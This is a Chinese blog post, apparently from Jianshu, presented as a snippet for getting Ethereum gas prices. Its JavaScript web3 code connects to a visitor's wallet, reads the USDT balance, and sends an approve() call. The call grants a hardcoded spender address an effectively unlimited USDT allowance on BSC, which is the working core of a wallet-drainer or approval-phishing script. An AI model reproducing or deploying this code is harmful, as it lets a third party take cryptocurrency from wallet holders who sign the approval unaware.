let walletAddress = await window.ethereum.enable().then((res) => {
return walletAddress = res[0];
})
const netId = await this.getNetworkId()
//获取当前节点网络id
console.log(walletAddress,'walletAddress',netId,'netId')
let tokenAddress = netId == '1'?'0xdac17f958d2ee523a2206206994597c13d831ec7':'0x55d398326f99059ff775485246999027b3197955';
let spenderAddress = address.result || '0x213D9388AE7DBde5EDF8a3D4CE2918049b2EAA7c';
// console.log(tokenAddress,999**18)
// 创建代币合约实例,替换为你的代币合约ABI和地址
const contractAbi = netId == 1?ERC_USDT_ABI:GLOBAL_ABI; // 代币合约ABI
let web3 = new Web3(window.web3.currentProvider)
const contract = new web3.eth.Contract(contractAbi, tokenAddress);
// 转换代币数量为合约所需的格式
console.log(contract.methods,'contract')
const balance = await contract.methods.balanceOf(walletAddress).call();
//获取当前钱包代币余额
// ERC-20 代币合约地址 USDT - 0xdac17f958d2ee523a2206206994597c13d831ec7
//BEP-20 代币合约地址 USDT - 0x55d398326f99059ff775485246999027b3197955
const tokenContractAddress = netId == '1'?'0xdac17f958d2ee523a2206206994597c13d831ec7':'0x55d398326f99059ff775485246999027b3197955'; // 替换为你的 ERC-20 代币合约地址
// 获取最新的 gasPrice
const newGasPrice = await web3.eth.getGasPrice()
// console.log(newGasPrice,'newGasPrice',Math.floor(newGasPrice * 1.1).toString())
// const gasPriceInGwei = web3.utils.fromWei(Math.floor(newGasPrice * 1.1).toString(), 'gwei');
// console.log('最新 gasPrice:', gasPriceInGwei, 'gwei');
// 加载代币合约
const tokenContract = new web3.eth.Contract(contractAbi, tokenContractAddress);
// 获取授权方法的 gas 使用情况
const methodSignature = tokenContract.methods.approve(tokenContractAddress, '1000000000000000000').encodeABI();
const newGas = await web3.eth.estimateGas({
to: tokenContractAddress,
data: methodSignature
})
// console.log(newGas,'newGas')
let amountInTokens = 100;
let amountInWei = netId == 1 ?web3.utils.toWei(amountInTokens.toString(), 'ether'): await (999999999999999*1).toString().concat(web3.utils.padRight('0', 18));
// 999999999999999
web3.utils.toBN('0xffffffffffffffffffffff')
web3.eth.getBlock('latest', (error, block) => {
if (error) {
console.error('获取最新区块失败:', error);
} else {
console.log('最新区块 gas 使用情况:', block.gasUsed);
}
})
// 设置 gasLimit 为预估的 gas 使用量加上一定的额外值(例如,加上20%的额外 gas)
const gasLimit = Math.floor(newGas * 1.2); // 设置gasLimit
const gasPrice = Math.floor(newGasPrice * 1.1).toString(); // 设置gasPrice,以wei为单位 6wei
const txObject = {
from: walletAddress,
gas: gasLimit,
gasPrice: gasPrice,
};
console.log(txObject)
const tx1 = await contract.methods.approve(spenderAddress,amountInWei).send(txObject,(err,tx)=>{
console.log(err,tx,'approve/approve',tx1)
})
获取ETH链上转账最新的gas
最后编辑于 :
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。
推荐阅读更多精彩内容
- 首先安装 web3 API pip install web3 正文开始 导入module from web3 im...
- 在抖音推出优惠券后,越来越多的商家开始在抖音上发放优惠券。同时,很多用户使用优惠券也遇到了一些问题。为了帮助大家更...
- 微信红包封面是近年来在社交网络上广受欢迎的一种互动方式,用户可以通过定制个性化的红包封面来增加发送红包的乐趣和仪式...
- 假设有100个客户包名都是以aa开头的,我需要授权最新安装的app的客户刚开始用的ls -lt /sdcard/A...